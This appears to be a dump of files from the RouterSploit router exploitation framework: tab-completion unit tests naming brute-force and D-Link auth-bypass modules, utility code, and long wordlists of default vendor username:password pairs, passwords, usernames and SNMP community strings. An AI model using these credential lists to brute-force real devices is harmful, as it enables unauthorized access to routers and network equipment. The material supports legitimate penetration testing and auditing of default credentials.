value = ''.join(args)
self.rsf.expect_exact(value, timeout=0.5)
def set_module(self):
self.rsf.send("use creds/ftp_bruteforce\r\n")
self.assertPrompt(self.module_prompt('FTP Bruteforce'))
def test_raw_commands_no_module(self):
self.rsf.send("\t\t")
self.assertPrompt(self.raw_prompt, 'use ')
def test_complete_use_raw(self):
self.rsf.send("u\t\t")
self.assertPrompt(self.raw_prompt, 'use ')
def test_complete_use(self):
self.rsf.send("use \t\t")
self.assertPrompt(
'creds exploits \r\n',
self.raw_prompt,
'use '
)
def test_complete_use_creds(self):
self.rsf.send("use cr\t\t")
self.assertPrompt(
self.raw_prompt,
'use creds/'
)
def test_complete_use_creds_2(self):
self.rsf.send("use creds/\t\t")
self.assertPrompt(
'creds/http_basic_default'
)
def test_complete_use_exploits(self):
self.rsf.send("use ex\t\t")
self.assertPrompt(
self.raw_prompt,
'use exploits/'
)
def test_complete_use_exploits_2(self):
self.rsf.send("use exploits/\t\t")
self.assertPrompt(
'exploits/dlink/'
)
def test_complete_use_exploits_3(self):
self.rsf.send("use exploits/dli\t")
self.assertPrompt(
self.raw_prompt,
'use exploits/dlink/'
)
def test_complete_use_exploits_4(self):
self.rsf.send("use exploits/dlink/dir_300_320_\t\t\t")
self.assertPrompt(
'exploits/dlink/dir_300_320_615_auth_bypass'
)
def test_raw_commands_with_module(self):
self.set_module()
self.rsf.send("\t\t")
self.assertPrompt(
'back check run set show \r\n',
self.module_prompt('FTP Bruteforce')
)
def test_complete_back_raw(self):
self.set_module()
self.rsf.send("b\t\t")
self.assertPrompt(
self.module_prompt('FTP Bruteforce'),
'back'
)
def test_complete_check_raw(self):
self.set_module()
self.rsf.send("c\t\t")
self.assertPrompt(
self.module_prompt('FTP Bruteforce'),
'check'
)
def test_complete_run_raw(self):
self.set_module()
self.rsf.send("r\t\t")
self.assertPrompt(
self.module_prompt('FTP Bruteforce'),
'run'
)
def test_complete_set_raw(self):
self.set_module()
self.rsf.send("s\t\t")
self.assertPrompt(
'set show \r\n',
self.module_prompt('FTP Bruteforce')
)
def test_complete_set_raw_2(self):
self.set_module()
self.rsf.send("se\t\t")
self.assertPrompt(
self.module_prompt('FTP Bruteforce'),
'set ',
)
def test_complete_set(self):
self.set_module()
self.rsf.send("set \t\t")
self.assertPrompt(
'passwords port target threads usernames \r\n',
self.module_prompt('FTP Bruteforce'),
'set ',
)
def test_complete_set_2(self):
self.set_module()
self.rsf.send("set u\t\t")
self.assertPrompt(
self.module_prompt('FTP Bruteforce'),
'set usernames ',
)
def test_complete_show_raw(self):
self.set_module()
self.rsf.send("sh\t\t")
self.assertPrompt(
self.module_prompt('FTP Bruteforce'),
'show ',
)
def test_complete_show(self):
self.set_module()
self.rsf.send("show \t\t")
self.assertPrompt(
'info options \r\n',
self.module_prompt('FTP Bruteforce')
)
def test_complete_show_info(self):
self.set_module()
self.rsf.send("show i\t\t")
self.assertPrompt(
self.module_prompt('FTP Bruteforce'),
'show info'
)
def test_complete_show_options(self):
self.set_module()
self.rsf.send("show o\t\t")
self.assertPrompt(
self.module_prompt('FTP Bruteforce'),
'show options'
)
if __name__ == '__main__':
unittest.main()
\ No newline at end of file
from __future__ import print_function
import threading
from functools import wraps
import sys
print_lock = threading.Lock()
colors = {
'grey': 30, 'red': 31,
'green': 32, 'yellow': 33,
'blue': 34, 'magenta': 35,
'cyan': 36, 'white': 37,
}
def pythonize_path(path):
""" Replace argument to valid python dotted notation.
ex. foo/bar/baz -> foo.bar.baz
"""
return path.replace('/', '.')
def humanize_path(path):
""" Replace python dotted path to directory-like one.
ex. foo.bar.baz -> foo/bar/baz
:param path: path to humanize
:return: humanized path
"""
return path.replace('.', '/')
def module_required(fn):
""" Checks if module is loaded.
Decorator that checks if any module is activated
before executing command specific to modules (ex. 'run').
"""
@wraps(fn)
def wrapper(self, *args, **kwargs):
if not self.current_module:
print_error("You have to activate any module with 'use' command.")
return
return fn(self, *args, **kwargs)
try:
name = 'module_required'
wrapper.__decorators__.append(name)
except AttributeError:
wrapper.__decorators__ = [name]
return wrapper
def stop_after(space_number):
""" Decorator that determine when to stop tab-completion
Decorator that tells command specific complete function
(ex. "complete_use") when to stop tab-completion.
Decorator counts number of spaces (' ') in line in order
to determine when to stop.
ex. "use exploits/dlink/specific_module " -> stop complete after 2 spaces
"set rhost " -> stop completing after 2 spaces
"run " -> stop after 1 space
:param space_number: number of spaces (' ') after which tab-completion should stop
:return:
"""
def _outer_wrapper(wrapped_function):
@wraps(wrapped_function)
def _wrapper(self, *args, **kwargs):
try:
if len(args[1].split(' ', space_number)) == space_number + 1:
return []
except Exception as err:
print(err)
return wrapped_function(self, *args, **kwargs)
return _wrapper
return _outer_wrapper
def __cprint(*args, **kwargs):
""" Color print()
Signature like Python 3 print() function
print([object, ...][, sep=' '][, end='\n'][, file=sys.stdout])
"""
with print_lock:
color = kwargs.get('color', None)
if color:
file_ = kwargs.get('file', sys.stdout)
sep = kwargs.get('sep', ' ')
end = kwargs.get('end', '\n')
print('\033[{}m'.format(colors[color]), end='', file=file_, sep=sep)
print(*args, end='', file=file_, sep=sep)
print('\033[0m', sep=sep, end=end, file=file_)
else:
print(*args, **kwargs)
def print_error(*args):
__cprint('\033[91m[-]\033[0m', *args)
def print_status(*args):
__cprint('\033[94m[*]\033[0m', *args)
def print_success(*args):
__cprint('\033[92m[+]\033[0m', *args)
def print_info(*args, **kwargs):
__cprint(*args, **kwargs)
class LockedIterator(object):
def __init__(self, it):
self.lock = threading.Lock()
self.it = it.__iter__()
def __iter__(self): return self
def next(self):
self.lock.acquire()
try:
return self.it.next()
finally:
self.lock.release()
def print_table(headers, *args, **kwargs):
""" Print table.
example:
Name Current setting Description
---- --------------- -----------
option_name value description
foo bar baz
foo bar baz
:param headers: Headers names ex.('Name, 'Current setting', 'Description')
:param args: table values, each element representing one line ex. ('option_name', 'value', 'description), ...
:param kwargs: 'extra_fill' space between columns, 'header_separator' character to separate headers from content
:return:
"""
extra_fill = kwargs.get("extra_fill", 5)
header_separator = kwargs.get("header_separator", '-')
if not all(map(lambda x: len(x) == len(headers), args)):
print_error("Headers and table rows tuples should be the same length.")
return
def custom_len(x):
try:
return len(x)
except TypeError:
return 0
fill = []
headers_line = ' '
headers_separator_line = ' '
for idx, header in enumerate(headers):
current_line_fill = max(len(header), *map(lambda x: custom_len(x[idx]), args)) + extra_fill
fill.append(current_line_fill)
headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill)))
headers_separator_line = "".join((
headers_separator_line,
'{:<{}}'.format(header_separator*len(header), current_line_fill)
))
print()
print(headers_line)
print(headers_separator_line)
for arg in args:
content_line = ' '
for idx, element in enumerate(arg):
content_line = "".join((
content_line,
'{:<{}}'.format(element, fill[idx])
))
print(content_line)
print()
def sanitize_url(address):
"""Sanitize url.
Converts address to valid HTTP url.
"""
url = ""
if not address.startswith("http://") and not address.startswith("https://"):
url = "http://" + address
else:
url = address
return url
import pkg_resources
defaults = 'file://' + pkg_resources.resource_filename(__name__, 'defaults.txt')
passwords = 'file://' + pkg_resources.resource_filename(__name__, 'passwords.txt')
usernames = 'file://' + pkg_resources.resource_filename(__name__, 'usernames.txt')
snmp = 'file://'+ pkg_resources.resource_filename(__name__, 'snmp.txt')
1111:1111
1234:1234
1502:1502
266344:266344
3comcso:RIP000
ADMINISTRATOR:ADMINISTRATOR
ADMN:admn
ADVMAIL:HP
ADVMAIL:HPOFFICE DATA
Admin:admin
Administrator:3ware
Administrator:admin
Administrator:changeme
Administrator:ganteng
Administrator:letmein
Administrator:password
Administrator:pilou
Administrator:smcadmin
Administrator:the same all over
Any:12345
CSG:SESAME
Cisco:Cisco
D-Link:D-Link
DTA:TJM
FIELD:HPONLY
FIELD:HPP187 SYS
FIELD:HPWORD PUB
FIELD:LOTUS
FIELD:MANAGER
FIELD:MGR
FIELD:SERVICE
FIELD:SUPPORT
GEN1:gen1
GEN2:gen2
GlobalAdmin:GlobalAdmin
HELLO:FIELD.SUPPORT
HELLO:MANAGER.SYS
HELLO:MGR.SYS
HELLO:OP.OPERATOR
HTTP:HTTP
IntraStack:Asante
IntraSwitch:Asante
JDE:JDE
LUCENT01:UI-PSWD-01
LUCENT02:UI-PSWD-02
MAIL:HPOFFICE
MAIL:MAIL
MAIL:MPE
MAIL:REMOTE
MAIL:TELESUP
MANAGER:COGNOS
MANAGER:HPOFFICE
MANAGER:ITF3000
MANAGER:SECURITY
MANAGER:SYS
MANAGER:TCH
MANAGER:TELESUP
MDaemon:MServer
MGR:CAROLIAN
MGR:CCC
MGR:CNAS
MGR:COGNOS
MGR:CONV
MGR:HPDESK
MGR:HPOFFICE
MGR:HPONLY
MGR:HPP187
MGR:HPP189
MGR:HPP196
MGR:INTX3
MGR:ITF3000
MGR:NETBASE
MGR:REGO
MGR:RJE
MGR:ROBELLE
MGR:SECURITY
MGR:SYS
MGR:TELESUP
MGR:VESOFT
MGR:WORD
MGR:XLSERVER
MICRO:RSX
Manager:Manager
Manager:friend
NAU:NAU
NETWORK:NETWORK
NICONEX:NICONEX
OPERATOR:COGNOS
OPERATOR:DISC
OPERATOR:SUPPORT
OPERATOR:SYS
OPERATOR:SYSTEM
PBX:PBX
PCUSER:SYS
PFCUser:240653C9467E45
PRODDTA:PRODDTA
PSEAdmin:$secure$
Polycom:SpIp
RMUser1:password
RSBCMON:SYS
SPOOLMAN:HPOFFICE
SYSADM:sysadm
SYSDBA:masterkey
Sweex:Mysweex
USERID:PASSW0RD
User:Password
VNC:winterm
VTech:VTech
WP:HPOFFICE
ZXDSL:ZXDSL
aaa:often blank
acc:acc
adfexc:adfexc
admin2:changeme
admin:0
admin:0000
admin:1111
admin:123
admin:1234
admin:123456
admin:2222
admin:22222
admin:AitbISP4eCiG
admin:Ascend
admin:NetCache
admin:OCS
admin:Protector
admin:admin
admin:admin123
admin:adslolitec
admin:articon
admin:asante
admin:asd
admin:atlantis
admin:barricade
admin:bintec
admin:cableroot
admin:changeme
admin:cisco
admin:comcomcom
admin:conexant
admin:default
admin:diamond
admin:epicrouter
admin:extendnet
admin:giraff
admin:hagpolm1
admin:hello
admin:hp.com
admin:ironport
admin:isee
admin:kont2004
admin:linga
admin:michelangelo
admin:microbusiness
admin:motorola
admin:mu
admin:my_DEMARC
admin:netadmin
admin:noway
admin:operator
admin:password
admin:pwp
admin:radius
admin:rmnetlm
admin:root
admin:secure
admin:setup
admin:smallbusiness
admin:smcadmin
admin:superuser
admin:switch
admin:synnet
admin:sysAdmin
admin:system
admin:visual
admin:w2402
admin:xad$l#12
admin:zoomadsl
administrator:administrator
adminstat:OCS
adminstrator:changeme
adminttd:adminttd
adminuser:OCS
adminview:OCS
anonymous:Exabyte
anonymous:any@
apc:apc
at4400:at4400
bbsd-client:NULL
bbsd-client:changeme2
bciim:bciimpw
bcim:bcimpw
bcms:bcmspw
bcnas:bcnaspw
blue:bluepw
browse:browsepw
browse:looker
cablecom:router
cablemodem:robotics
cac_admin:cacadmin
cas:cascade
ccrusr:ccrusr
cellit:cellit
cgadmin:cgadmin
cisco:cisco
client:client
cmaker:cmaker
comcast:1234
corecess:corecess
craft:craft
craft:craftpw
craft:crftpw
cusadmin:highspeed
cust:custpw
customer:none
dadmin:dadmin01
davox:davox
debug:d.e.b.u.g
debug:synnet
deskalt:password
deskman:changeme
desknorm:password
deskres:password
device:device
dhs3mt:dhs3mt
dhs3pms:dhs3pms
diag:danger
diag:switch
disttech:4tas
draytek:1234
e250:e250changeme
e500:e500changeme
echo:echo
eng:engineer
enquiry:enquirypw
field:support
ftp_admi:kilo1987
ftp_inst:pbxk1064
ftp_nmc:tuxalize
ftp_oper:help1954
guest:guest
halt:tlah
helpdesk:OCS
hsa:hsadb
hscroot:abc123
inads:inads
inads:indspw
init:initpw
install:llatsni
install:secret
installer:installer
intel:intel
intermec:intermec
kermit:kermit
l2:l2
l3:l3
locate:locatepw
login:0
login:1111
login:8429
login:access
login:admin
login:password
lp:lp
m1122:m1122
maint:maint
maint:maintpw
maint:ntacdmax
maint:rwmaint
manager:admin
manager:friend
manager:manager
manuf:xxyyzz
mediator:mediator
mlusr:mlusr
monitor:monitor
mtch:mtch
mtcl:mtcl
naadmin:naadmin
netman:netman
netopia:netopia
netrangr:attack
netscreen:netscreen
nms:nmspw
none:0
none:admin
op:op
op:operator
operator:$chwarzepumpe
operator:operator
patrol:patrol
piranha:piranha
piranha:q
poll:tech
public:public
radware:radware
rapport:r@p8p0r+
rcust:rcustpw
readonly:lucenttech2
readwrite:lucenttech1
recovery:recovery
replicator:replicator
ro:ro
root:1234
root:12345
root:123456
root:3ep5w2u
root:Cisco
root:Mau'dib
root:ROOT500
root:admin
root:admin_1
root:alpine
root:ascend
root:attack
root:blender
root:calvin
root:changeme
root:cms500
root:davox
root:default
root:fivranne
root:letacla
root:pass
root:permit
root:root
root:tini
root:tslinux
root:wyse
router:router
rw:rw
rwa:rwa
scmadmin:scmchangeme
security:security
service:smile
setup:changeme
setup:changeme(exclamation)
setup:setup
smc:smcadmin
spcl:0
storwatch:specialist
su:super
super.super:master
super:5777364
super:super
super:surt
superadmin:secret
superman:21241036
superman:talent
superuser:123456
superuser:admin
supervisor:PlsChgMe!
supervisor:PlsChgMe1
supervisor:supervisor
support:h179350
support:support
support:supportpw
sys:uplink
sysadm:anicust
sysadm:sysadm
sysadmin:PASS
sysadmin:password
sysadmin:sysadmin
system/manager:sys/change_on_install
system:password
system:sys
target:password
teacher:password
tech:field
tech:tech
telco:telco
telecom:telecom
tellabs:tellabs#1
temp1:password
tiara:tiaranet
tiger:tiger123
topicalt:password
topicnorm:password
topicres:password
user:pass
user:password
user:public
user:tivonpw
user:user
vcr:NetVCR
volition:volition
vt100:public
webadmin:1234
webadmin:webadmin
websecadm:changeme
wlse:wlsedb
wradmin:trancell
write:private
xbox:xbox
xd:xd
!manage
$chwarzepumpe
$secure$
(brak)
0
0P3N
10023
1064
Test1234!
1111
123
1234
12345
123456
1234admin
12871
1502
166816
21241036
2222
22222
240653C9467E45
266344
31994
3477
3ascotel
3ep5w2u
3ware
456
4getme2
4tas
561384
5678
56789
5777364
8111
8429
9999
@dsl_xilno
ADMINISTRATOR
ADTRAN
ANS#150
Admin
AitbISP4eCiG
Asante
Ascend
BRIDGE
CAROLIAN
CCC
CNAS
COGNOS
CONV
Cisco
Col2ogro2
D-Link
DATA
DISC
Exabyte
FIELD.SUPPORT
Fireport
Geardog
GlobalAdmin
HP
HPDESK
HPOFFICE
HPONLY
HPP187
HPP189
HPP196
HTTP
Helpdesk
ILMI
INTX3
ITF3000
Intel
JDE
LOTUS
MAIL
MANAGER
MANAGER.SYS
MGR
MGR.SYS
MPE
MServer
Manager
Master
Mau’dib
Menara
MiniAP
Multi
NAU
NETBASE
NETWORK
NICONEX
NULL
NetCache
NetICs
NetSurvibox
NetVCR
OCS
OP.OPERATOR
OkiLAN
P@55w0rd!
PASS
PASSW0RD
PASSWORD
PBX
PRODDTA
PUB
Password
PlsChgMe
Posterie
Protector
R1QTPS
REGO
REMOTE
RIP000
RJE
ROBELLE
ROOT500
RSX
SECURITY
SERVICE
SESAME
SKY_FOX
SMDR
SSA
SUPER
SUPPORT
SYS
SYSTEM
Series
Sharp
SpIp
Super
Symbol
TANDBERG
TCH
TELESUP
TENmanUFactOryPOWER
TJM
Telecom
UI-PSWD-01
UI-PSWD-02
User
VESOFT
WORD
Wireless
XLSERVER
_Cisco
abc123
acc
access
adfexc
admin
admin00
admin123
admin_1
administrator
adminttd
admn
adress
adslolitec
adslroot
adtran
anicust
any@
apc
articon
asante
ascend
asd
at4400
atc123
atlantis
attack
backdoor
barricade
bciimpw
bcimpw
bcmspw
bcnaspw
bcpb+serial#
bintec
blank
blender
bluepw
browsepw
cacadmin
calvin
cascade
ccrusr
cellit
cgadmin
changeme
changeme(exclamation)
changeme2
cisco
citel
client
cmaker
cms500
col1ma
comcomcom
connect
corecess
craft
craftpw
crftpw
custpw
d1scovery
dadmin01
danger
davox
default
detmond
device
dhs3mt
dhs3pms
diamond
draadloos
e250changeme
e500changeme
engineer
enquirypw
enter
epicrouter
expert
expert03
extendnet
field
fivranne
friend
ganteng
gen1
gen2
ggdaseuaimhrke
guest
h179350
hagpolm1
hawk201
hello
help
help1954
highspeed
hp.com
hs7mwxkk
hsadb
iDirect
images
imss7.0
inads
indspw
infrant1
initpw
installer
intel
intermec
ironport
isee
isp
jannie
kermit
kilo1987
l2
l3
laflaf
lantronix
letacla
letmein
leviton
linga
live
llatsni
locatepw
looker
lp
lucenttech1
lucenttech2
m1122
maint
maintpw
manager
master
masterkey
mediator
medion
mercury
michelangelo
microbusiness
mlusr
monitor
mono
motorola
mtch
mtcl
mu
my_DEMARC
mysweex
n/a
naadmin
netadmin
netgear1
netman
netopia
netscreen
nimdaten
nmspw
nokai
nokia
none
noway
ntacdmax
op
operator
orion99
otbu+1
over
p1nacate
pass
password
password1
passwort
patrol
pbxk1064
pento
permit
pfsense
pilou
piranha
private
public
public/private/secret
pwp
q
r@p8p0r+
radius
radware
raidzone
rcustpw
recovery
redips
replicator
rmnetlm
ro
root
router
rw
rwa
rwmaint
scmchangeme
scout
secret
secure
security
serial#
service
setup
sitecom
smallbusiness
smcadmin
smile
snmp-Trap
software01
specialist
speedxess
star
stratauser
su@psir
super
superuser
supervisor
support
supportpw
surt
switch
symbol
synnet
sys
sys/change_on_install
sysAdmin
sysadm
sysadmin
system
talent
tech
telco
telecom
tellabs#1
tiaranet
tiger123
timely
tini
tivonpw
tlah
trancell
truetime
tslinux
tuxalize
uplink
user
visual
volition
w0rkplac3rul3s
w2402
wampp
webadmin
wg
winterm
wlsedb
wlsepassword
wrgg15_di524
wyse
x-admin
x40rocks
xbox
xd
xdfk9874t3
xxyyzz
zoomadsl
\ No newline at end of file
public
private
0
0392a0
1234
2read
4changes
ANYCOM
Admin
C0de
CISCO
CR52401
IBM
ILMI
Intermec
NoGaH$@!
OrigEquipMfr
PRIVATE
PUBLIC
Private
Public
SECRET
SECURITY
SNMP
SNMP_trap
SUN
SWITCH
SYSTEM
Secret
Security
Switch
System
TENmanUFactOryPOWER
TEST
access
adm
admin
agent
agent_steal
all
all private
all public
apc
bintec
blue
c
cable-d
canon_admin
cc
cisco
community
core
debug
default
dilbert
enable
field
field-service
freekevin
fubar
guest
hello
hp_admin
ibm
ilmi
intermec
internal
l2
l3
manager
mngt
monitor
netman
network
none
openview
pass
password
pr1v4t3
proxy
publ1c
read
read-only
read-write
readwrite
red
regional
rmon
rmon_admin
ro
root
router
rw
rwa
s!a@m#n$p%c
san-fran
sanfran
scotty
secret
security
seri
snmp
snmpd
snmptrap
solaris
sun
superuser
switch
system
tech
test
test2
tiv0li
tivoli
trap
world
write
xyzzy
yellow
!root
test
(blank)
(brak)
(non)
)
+
1.79
11111
1234
1502
2000
266344
31994
3comcso
60020
ADMINISTRATOR
ADMN
ADSL
ADVMAIL
Admin
Administrator
Alphanetworks
Anonymous
Any
CISCO15
CSG
Cisco
Clarissa
D-Link
DTA
FIELD
FORCE
Factory
GEN1
GEN2
Gearguy
GlobalAdmin
Guest
HELLO
HPOFFICE
HPP187
HPWORD
HTTP
IntraStack
IntraSwitch
JDE
LUCENT01
LUCENT02
MAC
MAIL
MANAGER
MD110
MDaemon
MGR
MICRO
Manager
McdataSE
Menara
NAU
NETOP
NETWORK
NICONEX
OPERATOR
OR
PBX
PCUSER
PFCUser
PRODDTA
PSEAdmin
Polycom
RMUser1
RSBCMON
Root
SPOOLMAN
SSA
SUPERUSER
SYSADM
SYSDBA
Service
TMAR#HWMT8007079
USERID
User
VNC
WP
acc
adfexc
adm
admin
admin2
administrator
adminstat
adminstrator
adminttd
adminuser
adminview
all
ami
anonymous
apc
at4400
bbsd-client
bciim
bcim
bcms
bcnas
blue
browse
cablecom
cac_admin
ccrusr
cellit
cgadmin
characters)
cisco
citel
client
cmaker
comcast
corecess
craft
cusadmin
cust
customer
d.e.b.u.g
dadmin
davox
debug
defug
deskalt
deskman
desknorm
deskres
device
dhs3mt
dhs3pms
diag
disttech
draytek
e250
e500
echo
edimax
enable
eng
engmode
enquiry
expert
field
ftp_admi
ftp_inst
ftp_nmc
ftp_oper
ftpuser
guest
halt
helpdesk
hsa
hscroot
hydrasna
iclock
images
inads
init
install
installer
integrator
intel
intermec
isp
jagadmin
kermit
l2
l3
live
locate
login
lp
m1122
mac
maint
maintainer
manage
manager
manuf
mediator
mlusr
monitor
mso
mtch
mtcl
n/a
naadmin
netadmin
netman
netopia
netrangr
netscreen
newuser
nms
nmt
none
often
op
operator
patrol
piranha
pmd
poll
public
radware
rapport
rcust
readonly
readwrite
recovery
replicator
ro
root
rw
rwa
sa
scmadmin
scout
security
serial#
service
setup
smc
spcl
storwatch
stratacom
su
super
super.super
superadmin
superman
superuser
supervisor
support
sweex
sys
sysadm
sysadmin
system
system/manager
target
teacher
tech
telco
telecom
tellabs
temp1
tiara
tiger
topicalt
topicnorm
topicres
user
vcr
veda
volition
vt100
webadmin
websecadm
wlse
wlseuser
wradmin
write
xbox
xd
\ No newline at end of file
#!/usr/bin/env python
from routersploit.interpreter import RoutersploitInterpreter
def routersploit():
rsf = RoutersploitInterpreter()
rsf.start()
if __name__ == "__main__":
routersploit()
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment